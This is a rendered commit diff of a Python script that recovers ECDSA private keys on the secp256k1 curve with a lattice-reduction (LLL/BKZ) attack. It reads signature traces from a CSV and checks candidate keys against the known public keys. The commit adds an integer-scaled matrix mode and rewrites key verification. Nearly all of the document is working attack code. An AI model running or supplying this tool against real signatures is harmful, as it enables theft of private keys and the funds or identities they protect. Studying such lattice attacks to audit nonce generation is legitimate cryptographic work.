11#!/usr/bin/env python
22# Author: Dario Clavijo (2020)
3- # Based on:
4- # https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
5- # https://www.youtube.com/watch?v=6ssTlSSIJQE
3+ # Refactored to use fpylll and pubkey verification by ChatGPT (2025)
64
75import sys
86import argparse
97import mmap
108import gmpy2
11- import binascii
12- from ecdsa import SigningKey , SECP256k1
139from fpylll import IntegerMatrix , LLL , BKZ
10+ from ecdsa import SigningKey , SECP256k1
11+
1412
15- # Default order from secp256k1 curve
1613DEFAULT_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
1714
1815
1916def modular_inv (a , b ):
20- """Efficient modular inverse"""
2117 return int (gmpy2 .invert (a , b ))
2218
2319
2420def load_csv (filename , limit = None , mmap_flag = False ):
25- """Load CSV with ECDSA data."""
2621 msgs , sigs , pubs = [], [], []
27-
2822 if mmap_flag :
2923 with open (filename , 'r' ) as f :
3024 mapped_file = mmap .mmap (f .fileno (), 0 , access = mmap .ACCESS_READ )
@@ -46,18 +40,13 @@ def load_csv(filename, limit=None, mmap_flag=False):
4640 msgs .append (int (Z , 16 ))
4741 sigs .append ((int (R , 16 ), int (S , 16 )))
4842 pubs .append (pub )
49-
5043 return msgs , sigs , pubs
5144
5245
53- def make_matrix_fpylll (msgs , sigs , B , order ):
54- """
55- Construct IntegerMatrix for fpylll reduction.
56- """
46+ def make_matrix_fpylll (msgs , sigs , B , order , integer_mode = False ):
5747 m = len (msgs )
5848 m1 , m2 = m + 1 , m + 2
5949 B2 = 1 << B
60-
6150 mat = IntegerMatrix (m2 , m2 )
6251
6352 msgn , rn , sn = msgs [- 1 ], sigs [- 1 ][0 ], sigs [- 1 ][1 ]
@@ -67,11 +56,21 @@ def make_matrix_fpylll(msgs, sigs, B, order):
6756
6857 for i in range (m ):
6958 mi_sigi_order = modular_inv (sigs [i ][1 ], order )
59+ delta_r = (sigs [i ][0 ] * mi_sigi_order - rnsn_inv ) % order
60+ delta_z = (msgs [i ] * mi_sigi_order - mnsn_inv ) % order
61+
7062 mat [i , i ] = order
71- mat [m , i ] = int ((sigs [i ][0 ] * mi_sigi_order - rnsn_inv ) % order )
72- mat [m1 , i ] = int ((msgs [i ] * mi_sigi_order - mnsn_inv ) % order )
63+ if integer_mode :
64+ mat [m , i ] = int (order * delta_r )
65+ mat [m1 , i ] = int (order * delta_z )
66+ else :
67+ mat [m , i ] = int (delta_r )
68+ mat [m1 , i ] = int (delta_z )
7369
74- mat [m , m1 ] = B2 // order
70+ if integer_mode :
71+ mat [m , m1 ] = B2
72+ else :
73+ mat [m , m1 ] = int (B2 // order )
7574 mat [m1 , m1 ] = B2
7675
7776 return mat
@@ -87,10 +86,6 @@ def reduce_matrix(matrix, algorithm="LLL"):
8786
8887
8988def privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , order , max_rows = 20 ):
90- """
91- Try recovering private keys from reduced lattice matrix.
92- """
93- from math import sqrt
9489 keys = set ()
9590 m = len (msgs )
9691 msgn , rn , sn = msgs [- 1 ], sigs [- 1 ][0 ], sigs [- 1 ][1 ]
@@ -102,10 +97,7 @@ def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
10297 c = sn * msgs [i ]
10398 d = msgn * sigs [i ][1 ]
10499 cd = (c - d ) % order
105- if a == b :
106- ab_list = None
107- else :
108- ab_list = [(a - b ) % order , (b - a ) % order ]
100+ ab_list = None if a == b else [(a - b ) % order , (b - a ) % order ]
109101 params .append ((b , cd , ab_list ))
110102
111103 row_norms = []
@@ -124,69 +116,51 @@ def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
124116 for ab in ab_list :
125117 if ab :
126118 inv = modular_inv (ab , order )
127- key = (base * inv ) % order
128- keys .add (key )
119+ keys .add ((base * inv ) % order )
129120 return list (keys )
130121
131122
132- def verify_key (privkey , pubkey_hex ) :
123+ def is_valid_key (privkey : int , pubkeys : list ) -> bool :
133124 """
134- Verifies whether the private key matches the given compressed or uncompressed pubkey .
125+ Check if privkey matches any known pubkey (hex string, uncompressed only) .
135126 """
136- sk = SigningKey .from_secret_exponent (privkey , curve = SECP256k1 )
137- vk = sk .get_verifying_key ()
127+ try :
128+ sk = SigningKey .from_secret_exponent (privkey , curve = SECP256k1 )
129+ vk = sk .get_verifying_key ()
130+ derived_hex = "04" + vk .to_string ().hex ()
131+ return derived_hex .lower () in [p .lower () for p in pubkeys ]
132+ except Exception :
133+ return False
138134
139- x = vk .pubkey .point .x ()
140- y = vk .pubkey .point .y ()
141- x_bytes = x .to_bytes (32 , byteorder = 'big' )
142135
143- # Compressed format
144- prefix = b'\x02 ' if y % 2 == 0 else b'\x03 '
145- compressed_pub = prefix + x_bytes
136+ def display_keys (keys , pubkeys ):
137+ verified = [k for k in keys if is_valid_key (k , pubkeys )]
138+ if not verified :
139+ print ("No verified keys found." )
140+ return
141+ print ("\n Verified private keys:" )
142+ for key in verified :
143+ print (f"{ key :064x} " )
146144
147- # Uncompressed format
148- uncompressed_pub = b'\x04 ' + vk .to_string ()
149-
150- pubkey_hex = pubkey_hex .lower ()
151- return (
152- pubkey_hex == compressed_pub .hex ()
153- or pubkey_hex == uncompressed_pub .hex ()
154- )
155-
156-
157- def display_keys (keys , ref_pubkey ):
158- """Display and verify recovered private keys."""
159- for key in keys :
160- status = "✔️" if verify_key (key , ref_pubkey ) else "❌"
161- print (f"{ key :064x} { status } " )
162145
163146def main ():
164147 parser = argparse .ArgumentParser (description = "ECDSA private key recovery using lattice reduction (fpylll)" )
165148 parser .add_argument ("filename" , help = "CSV file containing ECDSA traces" )
166149 parser .add_argument ("B" , type = int , help = "log2 bound parameter B" )
167150 parser .add_argument ("limit" , type = int , help = "Limit number of signatures to process" )
168- parser .add_argument (
169- "--order" , type = int , default = DEFAULT_ORDER ,
170- help = "Curve order (default: secp256k1)"
171- )
172- parser .add_argument (
173- "--reduction" , choices = ["LLL" , "BKZ" ], default = "LLL" ,
174- help = "Lattice reduction algorithm (default: LLL)"
175- )
176- parser .add_argument (
177- "--mmap" , action = "store_true" ,
178- help = "Enable mmap for fast CSV access"
179- )
180-
151+ parser .add_argument ("--order" , type = int , default = DEFAULT_ORDER , help = "Curve order (default: secp256k1)" )
152+ parser .add_argument ("--reduction" , choices = ["LLL" , "BKZ" ], default = "LLL" , help = "Lattice reduction algorithm" )
153+ parser .add_argument ("--mmap" , action = "store_true" , help = "Enable mmap for fast CSV access" )
154+ parser .add_argument ("--integer_mode" , action = "store_true" , help = "Scale matrix to ensure integer values" )
181155 args = parser .parse_args ()
182156
183157 msgs , sigs , pubs = load_csv (args .filename , limit = args .limit , mmap_flag = args .mmap )
184158 sys .stderr .write (f"Using: { len (msgs )} sigs...\n " )
185159
186- matrix = make_matrix_fpylll (msgs , sigs , args .B , args .order )
160+ matrix = make_matrix_fpylll (msgs , sigs , args .B , args .order , integer_mode = args . integer_mode )
187161 matrix = reduce_matrix (matrix , algorithm = args .reduction )
188162 keys = privkeys_from_reduced_matrix (msgs , sigs , pubs , matrix , args .order )
189- display_keys (keys )
163+ display_keys (keys , pubs )
190164
191165
192166if __name__ == "__main__" :
0 commit comments